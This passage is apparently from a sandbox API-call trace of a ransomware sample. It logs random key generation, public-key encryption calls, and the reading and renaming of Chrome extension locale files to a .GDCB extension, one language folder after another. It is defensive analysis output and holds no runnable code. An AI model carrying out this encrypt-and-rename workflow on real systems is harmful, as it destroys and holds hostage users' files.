(hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.100] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.102] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bbe0) returned 1 [0275.102] CryptGetKeyParam (in: hKey=0x679bbe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.102] CryptEncrypt (in: hKey=0x679bbe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.102] GetLastError () returned 0x0 [0275.102] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.102] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.104] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bea0) returned 1 [0275.104] CryptGetKeyParam (in: hKey=0x679bea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.104] CryptEncrypt (in: hKey=0x679bea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.104] GetLastError () returned 0x0 [0275.104] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.105] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.106] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.109] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.111] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x138, lpOverlapped=0x0) returned 1 [0275.120] VirtualAlloc (lpAddress=0x0, dwSize=0x140, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.147] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0275.152] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.156] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.158] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.158] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.158] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.158] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.162] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.164] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.164] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.164] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.165] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.167] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bda0) returned 1 [0275.167] CryptGetKeyParam (in: hKey=0x679bda0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.167] CryptEncrypt (in: hKey=0x679bda0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.167] GetLastError () returned 0x0 [0275.167] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.167] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.169] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ba20) returned 1 [0275.170] CryptGetKeyParam (in: hKey=0x679ba20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.170] CryptEncrypt (in: hKey=0x679ba20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.170] GetLastError () returned 0x0 [0275.170] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.170] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.171] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.175] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.179] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x124, lpOverlapped=0x0) returned 1 [0275.187] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.197] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0275.203] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.206] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.210] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.210] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.210] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.215] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.215] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.216] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.218] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bee0) returned 1 [0275.218] CryptGetKeyParam (in: hKey=0x679bee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.218] CryptEncrypt (in: hKey=0x679bee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.218] GetLastError () returned 0x0 [0275.218] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.218] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.220] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bfa0) returned 1 [0275.220] CryptGetKeyParam (in: hKey=0x679bfa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.220] CryptEncrypt (in: hKey=0x679bfa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.221] GetLastError () returned 0x0 [0275.221] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.221] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.222] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.225] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.227] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xfe, lpOverlapped=0x0) returned 1 [0275.236] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.243] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0275.248] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0275.252] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.255] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.255] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.255] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.255] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.261] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.261] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.261] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.264] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bb20) returned 1 [0275.264] CryptGetKeyParam (in: hKey=0x679bb20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.264] CryptEncrypt (in: hKey=0x679bb20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.264] GetLastError () returned 0x0 [0275.264] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.264] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.266] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bb60) returned 1 [0275.266] CryptGetKeyParam (in: hKey=0x679bb60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.266] CryptEncrypt (in: hKey=0x679bb60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.266] GetLastError () returned 0x0 [0275.266] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.266] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.267] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.271] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.273] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xf9, lpOverlapped=0x0) returned 1 [0275.281] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.287] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0275.293] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.297] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.299] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.300] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.300] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.300] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.302] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.305] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.305] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.305] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.307] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bc60) returned 1 [0275.307] CryptGetKeyParam (in: hKey=0x679bc60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.307] CryptEncrypt (in: hKey=0x679bc60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.308] GetLastError () returned 0x0 [0275.308] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.308] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.309] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bc20) returned 1 [0275.309] CryptGetKeyParam (in: hKey=0x679bc20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.309] CryptEncrypt (in: hKey=0x679bc20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.310] GetLastError () returned 0x0 [0275.310] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.310] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.311] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.314] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.316] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xec, lpOverlapped=0x0) returned 1 [0275.324] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.330] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0275.336] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.341] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.341] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.341] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.341] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.346] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.346] 